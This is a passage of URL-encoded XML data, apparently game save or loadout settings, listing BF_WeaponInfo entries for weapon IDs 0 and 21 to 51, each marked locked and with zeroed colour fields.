ocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e21%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e22%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e23%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e24%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e25%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e26%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e27%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e28%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e29%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e30%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e31%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e33%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e34%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e35%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e36%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e37%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e38%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e39%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e40%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e41%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e42%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e43%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e0%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e44%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e45%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e46%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e47%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e48%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e49%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e50%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e51%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3c